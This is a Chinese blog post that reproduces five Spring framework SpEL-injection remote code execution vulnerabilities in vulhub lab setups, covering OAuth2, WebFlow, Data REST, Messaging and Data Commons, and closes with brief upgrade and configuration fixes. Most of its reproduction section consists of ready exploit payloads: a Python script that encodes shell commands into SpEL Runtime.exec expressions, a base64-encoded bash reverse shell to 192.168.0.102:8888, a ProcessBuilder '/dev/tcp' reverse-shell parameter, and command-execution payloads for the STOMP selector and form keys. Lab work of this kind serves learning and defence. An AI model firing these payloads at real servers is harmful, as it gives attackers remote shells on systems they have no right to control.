Spring框架漏洞复现大杂烩!!!

Spring框架漏洞复现大杂烩!!!

  • 寻了半生的春天 你一笑 便是了

总体概述:

  • Spring是一个开源框架,核心是控制反转(IoC)和面向切面(AOP)。简单来说,Spring是一个分层的JavaSE/EE full-stack(一站式) 轻量级开源框架。简单说就是创建对象由以前的程序员自己new 构造方法来调用,变成交由Spring来创建对象 。类比Struts 2框架绝大部分的安全漏洞都都是由于OGNL,而自从sping引入SpEL,也引起很多安全漏洞,什么事都是有利即有弊。
  • 本次主要针对以下几个漏洞进行复现(vulhub一键搭建),主要还是由于SpEL表达式而产生的漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞版本

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
	Spring Security OAuth 2.0 – 2.0.9
	Spring Security OAuth 1.0 – 1.0.5
  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
	Spring Web Flow 2.4.0-2.4.4
  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

    Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
    Spring Boot version < 2.0.0M4
    Spring Data release trains < Kay-RC3

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

    Spring Framework 5.0 -5.0.4
    Spring Framework 4.3 - 4.3.14

  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
	Spring Data Commons 1.13 - 1.13.10
	Spring Data Commons 2.0 - 2.0.5

漏洞概况:

  • Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令。

  • Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。

  • Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。

  • spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
    用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。

  • Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons有一个重要概念:Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞复现:

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
    漏洞这两都可以触发:
    oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
    Spring框架漏洞复现大杂烩!!!_第1张图片
    oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2*2}
    Spring框架漏洞复现大杂烩!!!_第2张图片
    然后生成反弹shell的POC,需要把反弹shell语句转化为SpEL语句
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAyLzg4ODggMD4mMQo=}|{base64,-d}|{bash,-i}

poc之后生成SpEL表达式,带入表达式即可成功getshell。

Spring框架漏洞复现大杂烩!!!_第3张图片

  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
    在spring-webflow官方给的简单示例中,订购酒店,然后填写信息后点击“Process”(从这开始,WebFlow就已运行)
    Spring框架漏洞复现大杂烩!!!_第4张图片

    然后在点击"confirm",之后抓包,添加反弹shell参数,返回500,即可成功getshell

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)

Spring框架漏洞复现大杂烩!!!_第5张图片

  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

    首先注意几点:
    1.Content-Type:application/json-patch+json
    2.请求数据必须是json数组
    3.JSON Patch方法提交的数据必须包含一个path成员,用于定位数据,同时还必须包含op成员,可选值如下:

    op 含义
    add 添加数据
    remove 删除
    replace 修改
    move 移动
    copy 拷贝
    test 测试给定数据与指定位置数据是否相等

    对于上面添加的Person数据,外面可以修改其lastName属性,请求数据如下:
    [{ "op": "replace", "path": "/lastName", "value": "hellocat" }]
    然后构造payload,path的值是SpEL表达式,

[{ "op": "replace", "path": "T(spel表达式)/lastname", "value": "hellocat" }]

抓包修改OPTIONS,查看接受类型和允许的请求方法。

Spring框架漏洞复现大杂烩!!!_第6张图片
把patch换成反弹shell语句,即可成功getshell。
Spring框架漏洞复现大杂烩!!!_第7张图片

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
    搭建:git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
    cd complete
    ./mvnw spring-boot:run
    搭建成功,然后开启connect,然后抓包添加payload\nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()即可,然后即可成功执行命令
    Spring框架漏洞复现大杂烩!!!_第8张图片

  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
    首先在登入页面抓包,发送repeater
    Spring框架漏洞复现大杂烩!!!_第9张图片

payload:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=

然后修改username,进行修改payload数据发送,可以看见成功执行命令。
Spring框架漏洞复现大杂烩!!!_第10张图片

漏洞修复:

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
    1.禁用生产环境中的Whitelabel错误页
    2.升级+++

  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
    1.建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上可以任意设置字段。
    2.升级+++

  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
    升级+++

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
    升级+++

  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
    升级+++

    萌新一枚,余生很长,请多指教。
    Spring框架漏洞复现大杂烩!!!_第11张图片

你可能感兴趣的:(CVE)